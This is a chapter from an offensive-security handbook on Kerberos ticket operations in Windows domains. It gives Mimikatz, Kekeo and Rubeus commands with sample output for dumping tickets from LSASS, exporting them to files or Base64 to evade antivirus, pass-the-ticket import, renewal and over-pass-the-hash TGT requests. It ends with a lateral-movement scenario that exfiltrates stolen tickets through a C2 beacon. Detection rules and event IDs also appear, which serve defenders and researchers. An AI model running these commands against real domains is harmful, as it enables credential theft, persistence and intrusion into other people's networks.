Skip to content

Chapter 25: Kerberos Ticket Operations

Introduction

Kerberos authentication is fundamentally ticket-based. Unlike password-based authentication where credentials are repeatedly transmitted and validated, Kerberos issues cryptographic tickets that prove identity and grant access to resources. Understanding how to list, export, import, renew, and request tickets is essential for both offensive operations using Mimikatz and defensive monitoring to detect ticket-based attacks.

Both Mimikatz and its companion tool Kekeo provide comprehensive capabilities for manipulating Kerberos tickets. These tools can interact with tickets in multiple ways:

  • Listing tickets stored in LSASS memory for current or all logon sessions
  • Exporting tickets from memory to KIRBI files or Base64 strings
  • Importing tickets into logon sessions for authentication
  • Renewing tickets before they expire to maintain access
  • Requesting new tickets using credentials (password, hash, or AES keys)

The ability to extract tickets from one system and inject them into another enables powerful attack techniques like Pass-The-Ticket, where stolen tickets grant immediate access to resources without needing passwords. Combined with forged tickets (Golden and Silver Tickets covered in later chapters), ticket manipulation represents one of the most potent capabilities in the Mimikatz arsenal.

Windows stores Kerberos tickets in LSASS memory within each logon session. Every interactive or network logon creates a logon session identified by a Locally Unique Identifier (LUID), and each logon session maintains its own ticket cache. This isolation means that different users logged onto the same system have separate ticket caches, and extracting all tickets requires administrative access to LSASS memory.

This chapter provides a comprehensive guide to Kerberos ticket operations using Mimikatz and Kekeo, exploring the technical implementation details, operational security considerations, detection opportunities, and practical attack scenarios. Mastering these fundamentals is prerequisite to understanding advanced Kerberos attacks like Golden Tickets, Silver Tickets, and delegation abuse.

Ticket Storage in Windows

LSASS Memory Structure

Windows stores Kerberos tickets in the Local Security Authority Subsystem Service (LSASS) process memory. Specifically, tickets reside in the Kerberos Security Support Provider (SSP) data structures.

Memory Organization:

LSASS Process (lsass.exe)
└── Kerberos SSP (kerberos.dll)
    └── Logon Session List
        └── Logon Session (LUID: 0x3e7, User: alice)
            ├── TGT (Ticket Granting Ticket)
            │   - Service: krbtgt/CORP.LOCAL
            │   - Encrypted with krbtgt hash
            │   - Contains session key and PAC
            └── TGS List (Service Tickets)
                ├── CIFS/fileserver.corp.local
                ├── HTTP/webserver.corp.local
                └── LDAP/dc01.corp.local

Logon Session Identification:

  • LUID (Locally Unique Identifier): 64-bit value uniquely identifying each logon session
  • Format: High:Low (e.g., 0x0:0x3e7 = 0:999)
  • System LUID: 0x0:0x3e7 (999) - LocalSystem account
  • Network Service LUID: 0x0:0x3e4 (996)
  • Local Service LUID: 0x0:0x3e5 (997)
  • User LUIDs: Dynamically assigned during logon (typically > 0x10000)

Ticket Types

Ticket Granting Ticket (TGT):

  • Service Name: krbtgt/DOMAIN.LOCAL
  • Encrypted with krbtgt account's password hash
  • Used to request service tickets (TGS)
  • Valid for 10 hours by default (renewable for 7 days)
  • Contains user's PAC with SID and group memberships
  • Only one TGT per logon session

Ticket Granting Service Ticket (TGS):

  • Service Name: Specific SPN (e.g., CIFS/fileserver.corp.local)
  • Encrypted with target service account's password hash
  • Used to authenticate to specific services
  • Valid for 10 hours by default (renewable for 7 days)
  • Contains copy of PAC from TGT
  • Multiple TGS tickets can exist per logon session

Delegation Tickets:

  • Forwardable TGTs included in TGS for unconstrained delegation
  • Allow service to impersonate user to other services
  • Stored in service's ticket cache when user accesses service
  • Exploitable to capture user credentials (Chapter 30)

KIRBI File Format

When tickets are exported, they're saved in .kirbi (Kerberos Binary) format.

File Structure:

KIRBI File = ASN.1 DER-Encoded KRB-CRED Structure

KRB-CRED:

  - pvno: 5 (Kerberos version 5)
  - msg-type: KRB_CRED (22)
  - tickets: Array of tickets
    - Ticket:

      - tkt-vno: 5
      - realm: CORP.LOCAL
      - sname: Service Principal Name
      - enc-part: Encrypted ticket data
  - enc-part: Encrypted part containing session keys

Example Filename Convention:

Username@REALM_ServiceName~REALM@REALM_Source.kirbi

Examples:

- alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi (TGT)
- bob@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi (TGS)

KIRBI files can be opened with ASN.1 editors (like ASN.1 Editor or online tools) to inspect ticket structures, encryption types, timestamps, and flags.

Listing Tickets

kerberos::list - Current Session Tickets

The kerberos::list command lists tickets in the current user's logon session.

Syntax:

kerberos::list [/export]

Parameters:

  • /export - Optional. Exports all listed tickets to KIRBI files.

Usage Example (Mimikatz):

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::list

[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 11/30/2024 4:23:17 PM ; 12/1/2024 2:23:17 AM ; 12/7/2024 4:23:17 PM
   Server Name       : krbtgt/CORP.LOCAL @ CORP.LOCAL
   Client Name       : alice @ CORP.LOCAL
   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

[00000001] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 11/30/2024 4:56:30 PM ; 12/1/2024 2:23:17 AM ; 12/7/2024 4:23:17 PM
   Server Name       : CIFS/fileserver.corp.local @ CORP.LOCAL
   Client Name       : alice @ CORP.LOCAL
   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;

Usage Example (Kekeo):

kekeo # kerberos::list

  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] T: [11/30/2024 4:23:17 PM ; 12/1/2024 2:23:17 AM] {R:12/7/2024 4:23:17 PM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): 0000000000000000000000000000000000000000000000000000000000000000

Field Explanations:

Ticket Encryption Type:

  • Mimikatz Format: [00000000] - 0x00000012 - aes256_hmac

  • Kekeo Format: [krb-cred] E: [00000012] aes256_hmac

  • Common Types:

    • 0x12 (18): AES256-CTS-HMAC-SHA1-96
    • 0x11 (17): AES128-CTS-HMAC-SHA1-96
    • 0x17 (23): RC4-HMAC (uses NT hash as key)

Timestamps:

  • Mimikatz: Start/End/MaxRenew
  • Kekeo: [enc-krb-cred] T: [Start ; End] {R:MaxRenew}
  • Start: When ticket becomes valid
  • End: When ticket expires (EndTime)
  • MaxRenew: Latest time ticket can be renewed (renew-till)

Server Name:

  • Mimikatz: Server Name: krbtgt/CORP.LOCAL @ CORP.LOCAL
  • Kekeo: [enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  • Format: Service/Instance @ REALM
  • TGT: Always krbtgt/DOMAIN
  • TGS: Service SPN (e.g., CIFS/fileserver.corp.local, HTTP/webserver.corp.local)

Client Name:

  • Mimikatz: Client Name: alice @ CORP.LOCAL
  • Kekeo: [enc-krb-cred] P: alice @ CORP.LOCAL
  • Account for whom ticket was issued

Flags:

  • Format: Hexadecimal bitmask (e.g., 40e10000)

  • Common Flags:

    • forwardable (0x40000000): Can be forwarded to other hosts
    • forwarded (0x20000000): Has been forwarded
    • proxiable (0x08000000): Can be proxied
    • renewable (0x00800000): Can be renewed
    • initial (0x00400000): Initial authentication (TGT)
    • pre_authent (0x00200000): Pre-authentication was used
    • ok_as_delegate (0x00040000): Delegation allowed
    • name_canonicalize (0x00010000): Name canonicalization requested

Encryption Key (Kekeo only):

  • Field: [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac)
  • Session key for ticket
  • TGTs for local admin accounts: Always shows 000... (cannot be exported)
  • Regular tickets: Shows actual AES/RC4 key value

Technical Implementation:

Both Mimikatz and Kekeo use the LsaCallAuthenticationPackage() Windows API function with the Kerberos package to query the ticket cache:

c
// Simplified pseudocode
NTSTATUS status;
KERB_QUERY_TKT_CACHE_REQUEST request;
PKERB_QUERY_TKT_CACHE_RESPONSE response;

request.MessageType = KerbQueryTicketCacheMessage;
request.LogonId.LowPart = 0;
request.LogonId.HighPart = 0;

status = LsaCallAuthenticationPackage(
    hLsa,
    authPackage,
    &request,
    sizeof(request),
    &response,
    &responseLength,
    &protocolStatus
);

Operational Security:

  • Uses legitimate Windows API (klist.exe uses the same API)
  • Does not require LSASS memory access
  • Does not generate Security Event IDs
  • Sysmon does not log this operation
  • Operationally safe for listing current user's tickets

sekurlsa::tickets - All Session Tickets

The sekurlsa::tickets command lists tickets for all users on the system by reading LSASS memory directly.

Syntax:

sekurlsa::tickets [/export]

Requirements:

  • Administrative privileges or SYSTEM account
  • SeDebugPrivilege (obtained via privilege::debug)
  • LSASS process access permissions

Usage Example:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets

Authentication Id : 0 ; 602058 (00000000:00092fca)
Session           : Interactive from 1
User Name         : alice
Domain            : CORP
Logon Server      : DC01
Logon Time        : 11/30/2024 7:40:32 PM
SID               : S-1-5-21-123456789-123456789-123456789-1001

        * Username : alice
        * Domain   : CORP.LOCAL
        * Password : (null)

        Group 0 - Ticket Granting Service
         [00000000]
           Start/End/MaxRenew: 11/30/2024 7:40:32 PM ; 12/1/2024 5:40:32 AM ; 12/7/2024 7:40:32 PM
           Service Name (02) : CIFS ; fileserver.corp.local ; @ CORP.LOCAL
           Target Name  (02) : CIFS ; fileserver.corp.local ; @ CORP.LOCAL
           Client Name  (01) : alice ; @ CORP.LOCAL
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 11/30/2024 7:40:32 PM ; 12/1/2024 5:40:32 AM ; 12/7/2024 7:40:32 PM
           Service Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
           Target Name  (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
           Client Name  (01) : alice ; @ CORP.LOCAL
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]

[... Additional logon sessions ...]

Output Organization:

  • Authentication Id: LUID (Logon ID) of the session
  • Session: Session type (Interactive, Network, RemoteInteractive, etc.)
  • User Name: SAM account name
  • Domain: NetBIOS domain name
  • Logon Server: DC that authenticated the user
  • Logon Time: When user logged on
  • SID: Security Identifier
  • Group 0: Ticket Granting Service (TGS) tickets
  • Group 2: Ticket Granting Ticket (TGT)

Technical Implementation:

sekurlsa::tickets opens LSASS with PROCESS_QUERY_LIMITED_INFORMATION and PROCESS_VM_READ, then directly parses Kerberos SSP memory structures:

c
// Simplified pseudocode
HANDLE hLsass = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, lsassPID);

// Walk logon session list
for each logon_session in lsass_memory:
    parse_kerberos_logon_session(logon_session)
    enumerate_tickets_in_session()

Detection Opportunity:

Sysmon Event ID 10 (ProcessAccess):

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>10</EventID>
  </System>
  <EventData>
    <Data Name="SourceImage">C:\Tools\mimikatz.exe</Data>
    <Data Name="TargetImage">C:\Windows\system32\lsass.exe</Data>
    <Data Name="GrantedAccess">0x1010</Data>
    <Data Name="CallTrace">C:\Windows\SYSTEM32\ntdll.dll+9d234|...</Data>
  </EventData>
</Event>

Indicators:

  • SourceImage from non-standard location (not System32)
  • GrantedAccess: 0x1010 (PROCESS_VM_READ + PROCESS_QUERY_LIMITED_INFORMATION)
  • TargetImage: lsass.exe

Defense:

  • Monitor Sysmon Event ID 10 for LSASS access
  • Baseline legitimate LSASS access (svchost, services, MsMpEng)
  • Alert on unexpected processes accessing LSASS
  • Enable LSA Protected Process Light (PPL) to block unauthorized access

Exporting Tickets

Exporting to KIRBI Files

Tickets can be exported from memory to binary KIRBI files for later use or analysis.

Command:

kerberos::list /export
sekurlsa::tickets /export

Example (Mimikatz):

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 602058
...
        Group 2 - Ticket Granting Ticket
         [00000000]
           ...
           > Saved to file: 0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi

        Group 0 - Ticket Granting Service
         [00000000]
           ...
           > Saved to file: 0-602058-0-0-40a50000-alice@CIFS~fileserver.corp.local-CORP.LOCAL.kirbi

Files are written to the current working directory with naming convention:

LogonId-GroupNum-TicketNum-Flags-User@Service-Realm.kirbi

Example (Kekeo with file output):

kekeo # kerberos::list /export

  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  ...
  > Ticket in file 'alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi'

Exporting to Base64

To avoid writing files to disk (which may trigger AV/EDR), tickets can be output as Base64 strings.

Enable Base64 Output (Kekeo):

kekeo # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

kekeo # kerberos::list /export
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] T: [11/30/2024 5:14:01 PM ; 12/1/2024 3:14:01 AM] {R:12/7/2024 5:14:01 PM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): 000000000000... 
====================
Base64 of file : alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi
====================
doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIEGKADAgEFoQ4bDEFDTUVM
QUJTLlBWVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMQUNNRUxBQlMuUFZUo4ID3DCC
A9igAwIBEqEDAgECooIDygSCA8ZPIsHXMyZF9pnt9hs3dZoiIoJx2m37SM5kRFqp
... [base64 string continues]

Operational Benefits:

  • No file artifacts on disk
  • Bypasses file-based detection (AV signatures on .kirbi extension)
  • Can transmit tickets over network/clipboard
  • Reduced forensic footprint

Recreating KIRBI from Base64:

powershell
# PowerShell on attacker system
$base64 = "doIFHDCCBRigAwIBBaEDAgEWooIEJDCCBCBhggQcMIIE..."
[IO.File]::WriteAllBytes("C:\tickets\alice.kirbi", [Convert]::FromBase64String($base64))

Detection of Ticket Exports

File System Monitoring:

  • Monitor for creation of .kirbi files
  • Alert on multiple small files created in temp directories
  • Sysmon Event ID 11 (FileCreate) with TargetFilename matching *.kirbi

Example Sysmon Rule:

xml
<RuleGroup name="Ticket Export Detection" groupRelation="or">
  <FileCreate onmatch="include">
    <TargetFilename condition="end with">.kirbi</TargetFilename>
  </FileCreate>
</RuleGroup>

Process Monitoring:

  • Correlate LSASS access (Event ID 10) with file creation
  • Alert on unusual processes exporting tickets
  • Baseline normal ticket export behavior (if any)

Importing Tickets

Pass-The-Ticket with kerberos::ptt

The kerberos::ptt (Pass-The-Ticket) command imports tickets into the current logon session.

Syntax:

kerberos::ptt <ticket_file_or_directory>
kerberos::ptt <base64_string>  # After enabling base64 input

Import from Directory:

kekeo # kerberos::purge
Ticket(s) purge for current session is OK

kekeo # kerberos::ptt C:\temp\tickets
* Directory: 'C:\temp\tickets'

* File: 'C:\temp\tickets\alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_LSA.kirbi': OK

* File: 'C:	emp	icketsob@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi': OK

All .kirbi files in the directory are imported.

Import Specific File:

kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi

* File: 'C:\tickets\alice_tgt.kirbi': OK

Import from Base64:

kekeo # base64 /in:true
isBase64InterceptInput  is true
isBase64InterceptOutput is false

kekeo # kerberos::ptt doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDEFDTUVM... 

* File: 'doIE+DCCBPSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ4bDEFDTUVM...': OK

TGT Replacement Behavior

Critical Limitation: Each logon session can only have one TGT. When multiple TGTs are imported, the last TGT replaces previous TGTs.

Example Demonstration:

kekeo # kerberos::list
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] P: bob @ CORP.LOCAL
  ...

kekeo # kerberos::ptt alice_tgt.kirbi
* File: 'alice_tgt.kirbi': OK

kekeo # kerberos::list
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] P: alice @ CORP.LOCAL
  ... (bob's TGT is now replaced by alice's TGT)

kekeo # kerberos::ptt charlie_tgt.kirbi
* File: 'charlie_tgt.kirbi': OK

kekeo # kerberos::list
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] P: charlie @ CORP.LOCAL
  ... (alice's TGT is now replaced by charlie's TGT)

Operational Implication:

  • Only the most recently imported TGT is active
  • Service tickets (TGS) are cumulative and do not replace each other
  • To switch between user contexts, import the desired user's TGT

Ticket Validation on Import

LSASS validates tickets before accepting them:

Validation Checks:

  1. Ticket Expiration: EndTime must be in the future
  2. ASN.1 Structure: Ticket must be properly formatted
  3. Encryption: Ticket structure must decrypt correctly (though content isn't fully validated)

Import of Expired Ticket:

kekeo # kerberos::ptt C:\tickets\expired_tgt.kirbi

* File: 'C:\tickets\expired_tgt.kirbi': ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : c0000133
ERROR kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage c0000133

Error Code c0000133: STATUS_PKINIT_FAILURE or invalid/expired ticket

Operational Consideration:

  • Track ticket EndTime to ensure tickets are still valid
  • Renew tickets before expiration (covered below)
  • Golden/Silver Tickets can specify arbitrary expiration times

Using Imported Tickets

Once imported, tickets are immediately available for authentication:

Example: Accessing File Share

kekeo # kerberos::ptt alice_tgt.kirbi
* File: 'alice_tgt.kirbi': OK

C:\> net use \fileserver\share
The command completed successfully.

C:\> dir \fileserver\share
 Volume in drive \fileserver\share
 Directory of \fileserver\share
...

Example: PowerShell Remoting

powershell
# After importing TGT
PS C:\> Enter-PSSession -ComputerName server01
[server01]: PS C:\> whoami
corp\alice

Technical Process:

  1. Application (net.exe, powershell.exe) requests network authentication
  2. LSASS checks ticket cache for matching TGT
  3. LSASS requests TGS using imported TGT
  4. KDC validates TGT and issues TGS
  5. Application uses TGS to authenticate to service
  6. Service validates TGS and grants access

Detection Opportunity:

Event ID 4648 (Explicit Credential Logon): When tickets are imported, Windows may log Event ID 4648 if explicit credential usage is detected.

Event ID 4768/4769 (Kerberos TGT/TGS Requests): On domain controller:

  • 4768: TGT request (when TGT is used to request TGS)
  • 4769: TGS request

Anomaly Detection:

  • User requesting TGS from unusual IP address
  • Ticket usage pattern inconsistent with user's normal behavior
  • Multiple users' tickets used from single system

Renewing Tickets

Ticket Renewal Overview

Kerberos tickets have limited lifetime (default 10 hours). To maintain access without re-authenticating, tickets can be renewed.

Renewal Requirements:

  • Ticket must have renewable flag set
  • Current time must be before EndTime (ticket not yet expired)
  • Current time must be before renew-till (maximum renewal time, default 7 days)

Renewal Process:

  1. Client sends TGS-REQ with renew flag and existing ticket
  2. KDC validates ticket hasn't expired
  3. KDC verifies renewal is within renew-till window
  4. KDC issues new ticket with updated StartTime and EndTime
  5. New ticket's renew-till remains unchanged from original

tgs::renew Command (Kekeo)

Syntax:

tgs::renew /ticket:<kirbi_file> [/ptt]
tgs::renew /tgt:<kirbi_file> [/ptt]
tgs::renew /tgs:<kirbi_file> [/ptt]

Parameters:

  • /ticket:<file> - Ticket to renew (.kirbi file). Aliases: /tgt, /tgs
  • /ptt - Import renewed ticket into current session

Check Current Time:

kekeo # localtime
Local: 11/30/2024 5:03:53 AM
UTC  : 11/30/2024 9:03:53 AM

Checking local time is critical when operating across time zones to ensure tickets haven't expired.

Renew TGS Ticket:

kekeo # tgs::renew /ticket:alice@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi /ptt
Ticket  : alice@CORP.LOCAL_CIFS~fileserver.corp.local@CORP.LOCAL_LSA.kirbi
  [krb-cred]     S: CIFS/fileserver.corp.local @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
  [enc-krb-cred] T: [11/29/2024 9:30:17 PM ; 11/30/2024 7:30:17 AM] {R:12/6/2024 9:30:17 PM}
  [enc-krb-cred] F: [40a50000] name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8...
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
 > CIFS/fileserver.corp.local : OK!

kekeo # kerberos::list
  [krb-cred]     S: CIFS/fileserver.corp.local @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: CIFS/fileserver.corp.local @ CORP.LOCAL
  [enc-krb-cred] T: [11/30/2024 5:05:11 AM ; 11/30/2024 3:05:11 PM] {R:12/6/2024 9:30:17 PM}
  ... (EndTime extended by 10 hours, renew-till unchanged)

Observations:

  • Original EndTime: 11/30/2024 7:30:17 AM
  • Renewed EndTime: 11/30/2024 3:05:11 PM (10 hours later)
  • renew-till: 12/6/2024 9:30:17 PM (unchanged)

Renew TGT:

kekeo # tgs::renew /tgt:alice_tgt.kirbi /ptt

TGTs can also be renewed following the same process.

Detection of Ticket Renewal

Event ID 4770: Kerberos Service Ticket Renewal

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4770</EventID>
  </System>
  <EventData>
    <Data Name="TargetUserName">alice@CORP.LOCAL</Data>
    <Data Name="TargetDomainName">CORP.LOCAL</Data>
    <Data Name="ServiceName">CIFS/fileserver.corp.local</Data>
    <Data Name="ServiceSid">S-1-5-21-...</Data>
    <Data Name="TicketOptions">0x40800000</Data>
    <Data Name="TicketEncryptionType">0x12</Data>
    <Data Name="IpAddress">::ffff:10.1.1.15</Data>
    <Data Name="IpPort">55123</Data>
  </EventData>
</Event>

Anomaly Detection:

  • Frequent renewals from unusual IP addresses
  • Renewal patterns inconsistent with user behavior
  • Renewals occurring after user has logged off

Describing Tickets (Rubeus)

To inspect ticket details without tracking metadata, use Rubeus:

powershell
PS C:\> .\Rubeus.exe describe /ticket:C:\tickets\alice_tgt.kirbi

[*] Action: Describe Ticket

  ServiceName              :  krbtgt/CORP.LOCAL
  ServiceRealm             :  CORP.LOCAL
  UserName                 :  alice
  UserRealm                :  CORP.LOCAL
  StartTime                :  11/30/2024 10:27:06 PM
  EndTime                  :  12/1/2024 8:27:06 AM
  RenewTill                :  12/7/2024 10:27:06 PM
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  wcGqw7TkXtf2q7hsydDh8uPzRE...

Rubeus provides human-readable ticket details, useful for operational planning.

Requesting Tickets

tgt::ask - Request New TGT (Kekeo)

The tgt::ask command requests a new TGT from the KDC using credentials.

Syntax:

tgt::ask /user:<username> /domain:<domain> {/password:<password> | /rc4:<hash> | /aes128:<key> | /aes256:<key>} [/kdc:<dc>] [/ptt]

Parameters:

  • /user:<username> - SAMAccountName or UPN (alice or alice@corp.local)
  • /domain:<domain> - Domain FQDN (corp.local)
  • /password:<password> - Cleartext password
  • /rc4:<hash> - NT hash (RC4 key for Kerberos etype 23)
  • /aes128:<key> - AES128 key (etype 17)
  • /aes256:<key> - AES256 key (etype 18)
  • /kdc:<dc> - Specific domain controller (optional, auto-discovered if omitted)
  • /ptt - Import resulting TGT into current session

Example: Request TGT with Password

kekeo # tgt::ask /user:alice /password:Password123! /domain:corp.local
Realm        : corp.local (CORP)
User         : alice (alice)
CName        : alice    [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/corp.local      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt): fc525c9683e8fe067095ba2ddc971889
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
  > Ticket in file 'TGT_alice@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'

Observations:

  • Kekeo auto-discovered KDC: dc01.corp.local at 10.1.1.4
  • Authentication used RC4-HMAC (etype 23) by default
  • TGT saved to kirbi file (no /ptt specified)

Example: Request TGT with NT Hash

kekeo # tgt::ask /user:bob /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt
Realm        : corp.local (CORP)
User         : bob (bob)
CName        : bob    [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/corp.local      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt): 64f12cddaa88057e06a81b54e73b949b
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
  > Ticket in file 'TGT_bob@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'
  > Ticket imported in current session

This is Over-Pass-The-Hash (Chapter 28)—using NT hash to request Kerberos TGT.

Example: Request TGT with AES256 Key

kekeo # tgt::ask /user:admin /aes256:c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2 /domain:corp.local /ptt
Realm        : corp.local (CORP)
User         : admin (admin)
CName        : admin    [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/corp.local      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
  > Ticket in file 'TGT_admin@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'
  > Ticket imported in current session

Uses AES256 encryption (etype 18), stronger than RC4.

Detection of TGT Requests

Event ID 4768: Kerberos TGT Request (Domain Controller)

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4768</EventID>
  </System>
  <EventData>
    <Data Name="TargetUserName">alice</Data>
    <Data Name="TargetDomainName">CORP.LOCAL</Data>
    <Data Name="TargetSid">S-1-5-21-...</Data>
    <Data Name="ServiceName">krbtgt</Data>
    <Data Name="ServiceSid">S-1-5-21-...-502</Data>
    <Data Name="TicketOptions">0x40800010</Data>
    <Data Name="Status">0x0</Data>
    <Data Name="TicketEncryptionType">0x12</Data>
    <Data Name="PreAuthType">2</Data>
    <Data Name="IpAddress">::ffff:10.1.1.15</Data>
    <Data Name="IpPort">55903</Data>
  </EventData>
</Event>

Normal Indicators:

  • PreAuthType: 2 (PA-ENC-TIMESTAMP - pre-authentication)
  • Status: 0x0 (success)
  • TicketEncryptionType: 0x12 or 0x11 (AES)

Anomaly Detection:

  • User requesting TGT from unusual IP (geo-location, not typical workstation)
  • Account requesting TGT outside normal working hours
  • Service account requesting TGT interactively (should use service logon)

Sysmon Event ID 3: Network Connection to Port 88 (Client)

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>3</EventID>
  </System>
  <EventData>
    <Data Name="Image">C:\Tools\kekeo.exe</Data>
    <Data Name="User">CORP\alice</Data>
    <Data Name="Protocol">tcp</Data>
    <Data Name="SourceIp">10.1.1.15</Data>
    <Data Name="SourcePort">55903</Data>
    <Data Name="DestinationIp">10.1.1.4</Data>
    <Data Name="DestinationPort">88</Data>
  </EventData>
</Event>

Critical Detection Point: Normal Kerberos authentication originates from lsass.exe. If any other process connects to port 88 (Kerberos), it's highly suspicious.

Detection Rule:

Alert on Sysmon Event ID 3 WHERE:

- DestinationPort = 88
- Image != "C:\Windows\System32\lsass.exe"

This detects tools like Kekeo, Rubeus, Impacket requesting Kerberos tickets directly instead of through LSASS.

Attack Scenarios

Scenario 1: Lateral Movement with Exported Tickets

Context: Attacker compromises workstation, extracts tickets, uses them on different system.

Attack Flow:

Step 1: Initial Compromise (WORKSTATION01)

- Phishing email delivers payload
- User "alice" executes malicious attachment
- Attacker gains code execution as alice

Step 2: Extract Tickets

powershell
# From C2 beacon on WORKSTATION01
beacon> execute-assembly Mimikatz.exe privilege::debug sekurlsa::tickets /export

# Tickets extracted:
# - alice TGT
# - alice TGS for CIFS/fileserver.corp.local
# - alice TGS for HTTP/intranet.corp.local

Step 3: Exfiltrate Tickets

beacon> download 0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi
beacon> download 0-602058-0-0-40a50000-alice@CIFS~fileserver.corp.local-CORP.LOCAL.kirbi

Step 4: Import on Attacker-Controlled System

# On KALI Linux with Impacket
